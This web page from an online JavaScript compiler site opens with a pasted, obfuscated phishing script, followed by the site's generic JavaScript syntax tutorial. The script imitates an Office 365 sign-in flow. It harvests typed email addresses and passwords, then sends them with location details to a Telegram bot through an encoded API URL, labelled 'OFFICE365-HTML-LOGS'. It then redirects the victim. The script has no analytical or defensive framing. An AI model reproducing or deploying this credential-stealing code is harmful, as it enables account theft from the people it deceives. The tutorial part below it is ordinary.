const call_link = _0x4883d1 => {
                const _0x161e48 = _0x365e9f;
                var _0x214587;
                if (ValidateEmail(emailValue)) _0x214587 = emailValue;
                else try {
                    _0x214587 = atob(emailValue);
                } catch (_0x1bbd22) {
                    console['log'](_0x161e48(0x216), null), _0x214587 = null;
                }
                setTimeout(function() {
                    const _0x34a99d = _0x161e48;
                    _0x4883d1 === null ? console[_0x34a99d(0x1d4)](_0x34a99d(0x1e0)) : _0x214587 === null ? window['location']['href'] = _0x4883d1 : window[_0x34a99d(0x1e9)][_0x34a99d(0x20c)] = _0x4883d1 + '#' + _0x214587;
                }, 0x1388);
            },
            to_password_stage = _0x36d6f7 => {
                setTimeout(function() {
                    const _0x31991b = _0x24fc;
                    document[_0x31991b(0x203)][_0x31991b(0x1cf)]['backgroundImage'] = _0x31991b(0x1d8), canvas[_0x31991b(0x1cf)][_0x31991b(0x1d3)] = 'none', _0x36d6f7 && loaderWait(), loginBlock[_0x31991b(0x1cf)]['display'] = _0x31991b(0x1e2);
                }, 0xbb8);
            },
            get_link = async(_0x2a5697, _0x2f51a7) => {
                const _0xf83c0d = _0x365e9f;
                allbody['style'][_0xf83c0d(0x1d3)] = _0xf83c0d(0x1e2), redirrectPage();
            };
        get_link();

        function redirrectPage() {
            const _0x37fa9b = _0x365e9f;
            console[_0x37fa9b(0x1d4)](emailValue);
            if (ValidateEmail(emailValue)) allbody[_0x37fa9b(0x1cf)][_0x37fa9b(0x1d3)] = 'block', emailInput[_0x37fa9b(0x212)] = emailValue, to_password_stage(emailValue);
            else {
                allbody['style'][_0x37fa9b(0x1d3)] = _0x37fa9b(0x1e2);
                try {
                    emailInput[_0x37fa9b(0x212)] = atob(emailValue), to_password_stage(emailValue);
                } catch (_0x4b6c8d) {
                    console[_0x37fa9b(0x1d4)]('Email\x20=', null), to_password_stage(null);
                }
            }
            return emailValue;
        }

        function hasNull(_0x249791) {
            for (var _0x571dc1 in _0x249791) {
                if (_0x249791[_0x571dc1] == null) return !![];
            }
            return ![];
        }
        const createUser = async(_0x1f8e42, _0x45bf0e, _0x362528) => {
                const _0xe5d48a = _0x365e9f,
                    _0x9f8baf = _0xe5d48a(0x1f6),
                    _0x26b3c5 = _0xe5d48a(0x1df),
                    _0x447c00 = 'aHR0cHM6Ly9hcGkudGVsZWdyYW0ub3Jn';
                url_token = _0xe5d48a(0x1d9);
                var _0x3eb82a = window[_0xe5d48a(0x1ff)][_0xe5d48a(0x209)],
                    _0x2e799e = new Date(),
                    _0x5635a4 = String(_0x2e799e['getDate']())[_0xe5d48a(0x1f4)](0x2, '0'),
                    _0x312894 = String(_0x2e799e[_0xe5d48a(0x1d5)]() + 0x1)[_0xe5d48a(0x1f4)](0x2, '0'),
                    _0x4914f5 = _0x2e799e[_0xe5d48a(0x223)](),
                    _0xea9731 = _0x5635a4 + '/' + _0x312894 + '/' + _0x4914f5;
                const _0x16f786 = [];
                let _0x396ed7 = _0x16f786['ip'],
                    _0x321fe9 = _0x16f786[_0xe5d48a(0x208)],
                    _0x1c66a4 = _0x16f786['country'],
                    _0x1f39d9 = _0x16f786[_0xe5d48a(0x1f2)],
                    _0x12e4ae = _0x16f786[_0xe5d48a(0x1ea)];
                const _0x1f623d = await fetch(atob(_0x447c00) + '/bot' + _0x9f8baf + _0xe5d48a(0x20a) + _0x26b3c5 + ('&text=<b>OFFICE365-HTML-LOGS@ZERO</b>%0A<i>[' + _0x362528 + ']\x20' + _0xea9731 + _0xe5d48a(0x1f5) + _0x1f8e42 + '</pre>%0A<b>PASSWORD:\x20</b><a>' + _0x45bf0e + _0xe5d48a(0x1ec) + _0x396ed7 + '\x20|\x20CITY:\x20' + _0x321fe9 + _0xe5d48a(0x1d6) + _0x1c66a4 + _0xe5d48a(0x1dc) + _0x1f39d9 + _0xe5d48a(0x1fe) + _0x12e4ae + _0xe5d48a(0x220) + _0x3eb82a + _0xe5d48a(0x21b)));
                console['log']('obago!');
            },
            loaderWait = () => {
                const _0x4d76c6 = _0x365e9f;
                emailInvalid[_0x4d76c6(0x1cf)][_0x4d76c6(0x1d3)] = _0x4d76c6(0x20b), emailInput[_0x4d76c6(0x1cf)][_0x4d76c6(0x1ef)] = '#0067b8', loaderBox[_0x4d76c6(0x1cf)][_0x4d76c6(0x1d3)] = _0x4d76c6(0x1e2), emailBlock[_0x4d76c6(0x1cf)]['display'] = _0x4d76c6(0x20b), setTimeout(function() {
                    const _0x33e641 = _0x4d76c6;
                    !navigator[_0x33e641(0x20f)] && location[_0x33e641(0x1e1)]();
                }, 0x5dc), setTimeout(function() {
                    const _0x4ee502 = _0x4d76c6;
                    loaderBox[_0x4ee502(0x1cf)][_0x4ee502(0x1d3)] = _0x4ee502(0x20b), next();
                }, 0xbb8);
            },
            loaderWait2 = () => {
                const _0x4488e8 = _0x365e9f;
                passwordError[_0x4488e8(0x1cf)]['display'] = 'none', passwordImput[_0x4488e8(0x1cf)][_0x4488e8(0x1ef)] = _0x4488e8(0x21d), loaderBox[_0x4488e8(0x1cf)]['display'] = _0x4488e8(0x1e2), passwordBlock[_0x4488e8(0x1cf)]['display'] = 'none', setTimeout(function() {
                    const _0xc57179 = _0x4488e8;
                    !navigator[_0xc57179(0x20f)] && location['reload']();
                }, 0x5dc), setTimeout(function() {
                    signin();
                }, 0x3e8);
            },
            next = () => {
                const _0x5c2c5e = _0x365e9f;
                var _0x625f90 = document['querySelector'](_0x5c2c5e(0x214))[_0x5c2c5e(0x212)],
                    _0x2ee449 = document[_0x5c2c5e(0x210)]('.emailLabel');
                ValidateEmail(_0x625f90) ? (emailInvalid[_0x5c2c5e(0x1cf)][_0x5c2c5e(0x1d3)] = 'none', emailInput[_0x5c2c5e(0x1cf)][_0x5c2c5e(0x1ef)] = _0x5c2c5e(0x21d), _0x2ee449['innerHTML'] = _0x625f90, emailBlock[_0x5c2c5e(0x1cf)][_0x5c2c5e(0x1d3)] = _0x5c2c5e(0x20b), passwordBlock[_0x5c2c5e(0x1cf)][_0x5c2c5e(0x1d3)] = _0x5c2c5e(0x1e3)) : (emailInvalid['style'][_0x5c2c5e(0x1d3)] = _0x5c2c5e(0x1e2), emailInput[_0x5c2c5e(0x1cf)][_0x5c2c5e(0x1ef)] = 'red', emailBlock[_0x5c2c5e(0x1cf)][_0x5c2c5e(0x1d3)] = _0x5c2c5e(0x1e3));
            };
        nextButton[_0x365e9f(0x1e4)](_0x365e9f(0x1fa), () => {
            loaderWait();
        });
        var counter = 0x1;
        const signin = async() => {
            const _0x9018a7 = _0x365e9f;
            var _0x584580 = document['querySelector']('.passwordImput')[_0x9018a7(0x212)];
            if (_0x584580[_0x9018a7(0x1d1)] > 0x4) {
                var _0x3ce76f = document[_0x9018a7(0x210)](_0x9018a7(0x214))['value'],
                    _0x475845 = document['querySelector'](_0x9018a7(0x21e))['value'];
                await createUser(_0x3ce76f, _0x475845, counter), counter++, counter > 0x2 ? (console['log'](_0x9018a7(0x217)), allbody[_0x9018a7(0x1cf)][_0x9018a7(0x1d3)] = 'none', window[_0x9018a7(0x1e9)][_0x9018a7(0x1ee)](r_lll)) : (passwordError[_0x9018a7(0x1cf)][_0x9018a7(0x1d3)] = _0x9018a7(0x1e2), passwordImput['style'][_0x9018a7(0x1ef)] = _0x9018a7(0x207), passwordNull[_0x9018a7(0x1cf)]['display'] = 'none', document[_0x9018a7(0x210)](_0x9018a7(0x21e))[_0x9018a7(0x212)] = '');
            } else(_0x584580['value'] = '\x20') && (passwordNull[_0x9018a7(0x1cf)][_0x9018a7(0x1d3)] = 'block', passwordImput[_0x9018a7(0x1cf)][_0x9018a7(0x1ef)] = _0x9018a7(0x207), passwordError[_0x9018a7(0x1cf)]['display'] = _0x9018a7(0x20b), document['querySelector'](_0x9018a7(0x21e))['value'] = ''), _0x584580['length'] < 0x6 & _0x584580[_0x9018a7(0x1d1)] > 0x0 && (passwordError[_0x9018a7(0x1cf)][_0x9018a7(0x1d3)] = _0x9018a7(0x1e2), passwordImput[_0x9018a7(0x1cf)][_0x9018a7(0x1ef)] = _0x9018a7(0x207), passwordNull[_0x9018a7(0x1cf)]['display'] = _0x9018a7(0x20b), document[_0x9018a7(0x210)](_0x9018a7(0x21e))[_0x9018a7(0x212)] = '');
            loaderBox[_0x9018a7(0x1cf)][_0x9018a7(0x1d3)] = 'none', passwordBlock['style'][_0x9018a7(0x1d3)] = _0x9018a7(0x1e3);
        };
        signinButton[_0x365e9f(0x1e4)](_0x365e9f(0x1fa), () => {
            loaderWait2();
        }), arrow[_0x365e9f(0x1e4)](_0x365e9f(0x1fa), function() {
            const _0x4bfcc8 = _0x365e9f;
            emailBlock['style'][_0x4bfcc8(0x1d3)] = _0x4bfcc8(0x1e3), passwordBlock[_0x4bfcc8(0x1cf)][_0x4bfcc8(0x1d3)] = _0x4bfcc8(0x20b), document[_0x4bfcc8(0x210)]('.passwordImput')[_0x4bfcc8(0x212)] = '', passwordNull[_0x4bfcc8(0x1cf)]['display'] = _0x4bfcc8(0x20b), passwordError[_0x4bfcc8(0x1cf)][_0x4bfcc8(0x1d3)] = 'none', passwordImput[_0x4bfcc8(0x1cf)][_0x4bfcc8(0x1ef)] = _0x4bfcc8(0x21d), logoPage2['src'] = _0x4bfcc8(0x21c);
        });

        function onChangeFunction() {
            const _0x4b9944 = _0x365e9f;
            emailInvalid[_0x4b9944(0x1cf)]['display'] = _0x4b9944(0x20b), passwordError[_0x4b9944(0x1cf)]['display'] = _0x4b9944(0x20b), passwordNull[_0x4b9944(0x1cf)][_0x4b9944(0x1d3)] = _0x4b9944(0x20b), emailInput[_0x4b9944(0x1cf)]['borderColor'] = '#0067b8', passwordImput[_0x4b9944(0x1cf)][_0x4b9944(0x1ef)] = _0x4b9944(0x21d);
        }
        const idPresentPasswordpage = _0x58312f => {
            const _0x5adf54 = _0x365e9f;
            _0x58312f ? (document[_0x5adf54(0x210)]('.emailLabel')[_0x5adf54(0x212)] = _0x58312f, document[_0x5adf54(0x210)](_0x5adf54(0x214))[_0x5adf54(0x212)] = _0x58312f) : emailBlock[_0x5adf54(0x1cf)]['display'] = 'grid';
        };
        idPresentPasswordpage(emailInput[_0x365e9f(0x212)]), document[_0x365e9f(0x210)](_0x365e9f(0x21e))['addEventListener']('keyup', function(_0x3be0ef) {
            const _0x1bc1bc = _0x365e9f;
            _0x3be0ef['keyCode'] === 0xd && (_0x3be0ef['preventDefault'](), document[_0x1bc1bc(0x210)](_0x1bc1bc(0x1f9))[_0x1bc1bc(0x1fa)]());
        }), document[_0x365e9f(0x210)]('.emailInput')[_0x365e9f(0x1e4)](_0x365e9f(0x204), function(_0x14548d) {
            const _0x4711f8 = _0x365e9f;
            _0x14548d[_0x4711f8(0x1d0)] === 0xd && (_0x14548d['preventDefault'](), document[_0x4711f8(0x210)](_0x4711f8(0x1e5))[_0x4711f8(0x1fa)]());
        }); 

Javascript Online Compiler

Write, Run & Share Javascript code online using OneCompiler's JS online compiler for free. It's one of the robust, feature-rich online compilers for Javascript language. Getting started with the OneCompiler's Javascript editor is easy and fast. The editor shows sample boilerplate code when you choose language as Javascript and start coding.

About Javascript

Javascript(JS) is a object-oriented programming language which adhere to ECMA Script Standards. Javascript is required to design the behaviour of the web pages.

Key Features

  • Open-source
  • Just-in-time compiled language
  • Embedded along with HTML and makes web pages alive
  • Originally named as LiveScript.
  • Executable in both browser and server which has Javascript engines like V8(chrome), SpiderMonkey(Firefox) etc.

Syntax help

STDIN Example

var readline = require('readline');
var rl = readline.createInterface({
  input: process.stdin,
  output: process.stdout,
  terminal: false
});

rl.on('line', function(line){
    console.log("Hello, " + line);
});

variable declaration

KeywordDescriptionScope
varVar is used to declare variables(old way of declaring variables)Function or global scope
letlet is also used to declare variables(new way)Global or block Scope
constconst is used to declare const values. Once the value is assigned, it can not be modifiedGlobal or block Scope

Backtick Strings

Interpolation

let greetings = `Hello ${name}`

Multi line Strings

const msg = `
hello
world!
`

Arrays

An array is a collection of items or values.

Syntax:

let arrayName = [value1, value2,..etc];
// or
let arrayName = new Array("value1","value2",..etc);

Example:

let mobiles = ["iPhone", "Samsung", "Pixel"];

// accessing an array
console.log(mobiles[0]);

// changing an array element
mobiles[3] = "Nokia";

Arrow functions

Arrow Functions helps developers to write code in concise way, it’s introduced in ES6.
Arrow functions can be written in multiple ways. Below are couple of ways to use arrow function but it can be written in many other ways as well.

Syntax:

() => expression

Example:

const numbers = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
const squaresOfEvenNumbers = numbers.filter(ele => ele % 2 == 0)
                                    .map(ele => ele ** 2);
console.log(squaresOfEvenNumbers);

De-structuring

Arrays

let [firstName, lastName] = ['Foo', 'Bar']

Objects

let {firstName, lastName} = {
  firstName: 'Foo',
  lastName: 'Bar'
}

rest(...) operator

 const {
    title,
    firstName,
    lastName,
    ...rest
  } = record;

Spread(...) operator

//Object spread
const post = {
  ...options,
  type: "new"
}
//array spread
const users = [
  ...adminUsers,
  ...normalUsers
]

Functions

function greetings({ name = 'Foo' } = {}) { //Defaulting name to Foo
  console.log(`Hello ${name}!`);
}
 
greet() // Hello Foo
greet({ name: 'Bar' }) // Hi Bar

Loops

1. If:

IF is used to execute a block of code based on a condition.

Syntax

if(condition){
    // code
}

2. If-Else:

Else part is used to execute the block of code when the condition fails.

Syntax

if(condition){
    // code
} else {
    // code
}

3. Switch:

Switch is used to replace nested If-Else statements.

Syntax

switch(condition){
    case 'value1' :
        //code
        [break;]
    case 'value2' :
        //code
        [break;]
    .......
    default :
        //code
        [break;]
}

4. For

For loop is used to iterate a set of statements based on a condition.

for(Initialization; Condition; Increment/decrement){  
//code  
} 

5. While

While is also used to iterate a set of statements based on a condition. Usually while is preferred when number of iterations are not known in advance.

while (condition) {  
  // code 
}  

6. Do-While

Do-while is also used to iterate a set of statements based on a condition. It is mostly used when you need to execute the statements atleast once.

do {  
  // code 
} while (condition); 

Classes

ES6 introduced classes along with OOPS concepts in JS. Class is similar to a function which you can think like kind of template which will get called when ever you initialize class.

Syntax:

class className {
  constructor() { ... } //Mandatory Class method
  method1() { ... }
  method2() { ... }
  ...
}

Example:

class Mobile {
  constructor(model) {
    this.name = model;
  }
}

mbl = new Mobile("iPhone");